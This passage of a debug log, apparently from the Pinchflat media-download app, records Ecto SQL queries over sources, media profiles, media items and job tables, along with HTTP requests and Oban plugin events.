s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:20.928 [debug] QUERY OK source="media_profiles" db=0.0ms idle=337.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:03:24.341 [debug] QUERY OK source="tasks" db=3412.1ms idle=337.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 17:03:24.341 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1462.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800110, 3655991] 17:03:24.341 [debug] QUERY OK source="settings" db=0.0ms idle=1017.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:24.341 [debug] QUERY OK source="settings" db=0.0ms idle=463.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:24.342 [debug] QUERY OK source="settings" db=0.0ms idle=17.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:24.342 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:24.343 [debug] QUERY OK source="media_items" db=0.8ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:03:24.344 [debug] QUERY OK source="media_items" db=0.9ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:03:24.344 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:24.345 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:03:24.348 [debug] QUERY OK source="media_items" db=3.5ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:03:24.349 [debug] QUERY OK source="sources" db=0.0ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:03:24.349 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 17:03:24.353 [debug] QUERY OK source="media_items" db=3.8ms idle=5.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:03:24.354 [info] Sent 200 in 3426ms 17:03:28.915 [info] {"source":"oban","duration":10144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:45.717 [info] GET /sources/1 17:03:45.717 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:03:45.717 [debug] QUERY OK source="sources" db=0.1ms idle=1838.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:03:45.717 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1839.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:03:46.164 [info] GET /media_profiles 17:03:46.164 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 17:03:46.164 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1286.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 17:03:46.165 [debug] QUERY OK source="settings" db=0.0ms idle=819.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:46.165 [debug] QUERY OK source="settings" db=0.0ms idle=447.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:46.165 [debug] QUERY OK source="settings" db=0.0ms idle=447.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:46.166 [info] Sent 200 in 1ms 17:03:48.094 [debug] QUERY OK source="tasks" db=2376.6ms idle=1373.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 17:03:48.094 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=746.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800114, 3655948] 17:03:48.095 [debug] QUERY OK source="settings" db=0.0ms idle=216.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:48.095 [debug] QUERY OK source="settings" db=0.0ms idle=216.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:48.095 [debug] QUERY OK source="settings" db=0.0ms idle=217.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:48.096 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:03:48.111 [debug] QUERY OK source="media_items" db=15.3ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:03:48.118 [debug] QUERY OK source="media_items" db=6.8ms idle=16.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:03:48.119 [debug] QUERY OK source="sources" db=0.0ms idle=23.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:03:48.119 [debug] QUERY OK source="media_items" db=0.7ms idle=23.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:03:48.135 [debug] QUERY OK source="media_items" db=15.2ms idle=23.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:03:48.136 [debug] QUERY OK source="sources" db=0.1ms idle=24.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:03:48.140 [debug] QUERY OK source="media_items" db=3.9ms idle=17.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 17:03:48.145 [debug] QUERY OK source="media_items" db=5.2ms idle=21.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:03:48.146 [info] Sent 200 in 2429ms 17:03:58.931 [info] {"source":"oban","duration":15452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.054 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:28.940 [info] {"source":"oban","duration":8334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:31.574 [info] GET /sources/1/media/1551176 17:04:31.574 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1551176", "source_id" => "1"} Pipelines: [:browser] 17:04:31.574 [debug] QUERY OK source="media_items" db=0.1ms idle=1696.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1551176] 17:04:31.575 [debug] QUERY OK source="tasks" db=0.1ms idle=1696.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1551176] 17:04:31.575 [debug] QUERY OK source="sources" db=0.1ms idle=1182.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:04:31.575 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=696.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [3648233, 3710340, 3774326] 17:04:31.575 [debug] QUERY OK source="settings" db=0.0ms idle=182.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:31.575 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:31.576 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:31.576 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:31.577 [info] Sent 200 in 2ms 17:04:31.883 [info] GET /sources/25 17:04:31.883 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "25"} Pipelines: [:browser] 17:04:31.884 [debug] QUERY OK source="sources" db=0.2ms idle=308.4ms SELECT s0."id", s0."enabled", s0."uuid", 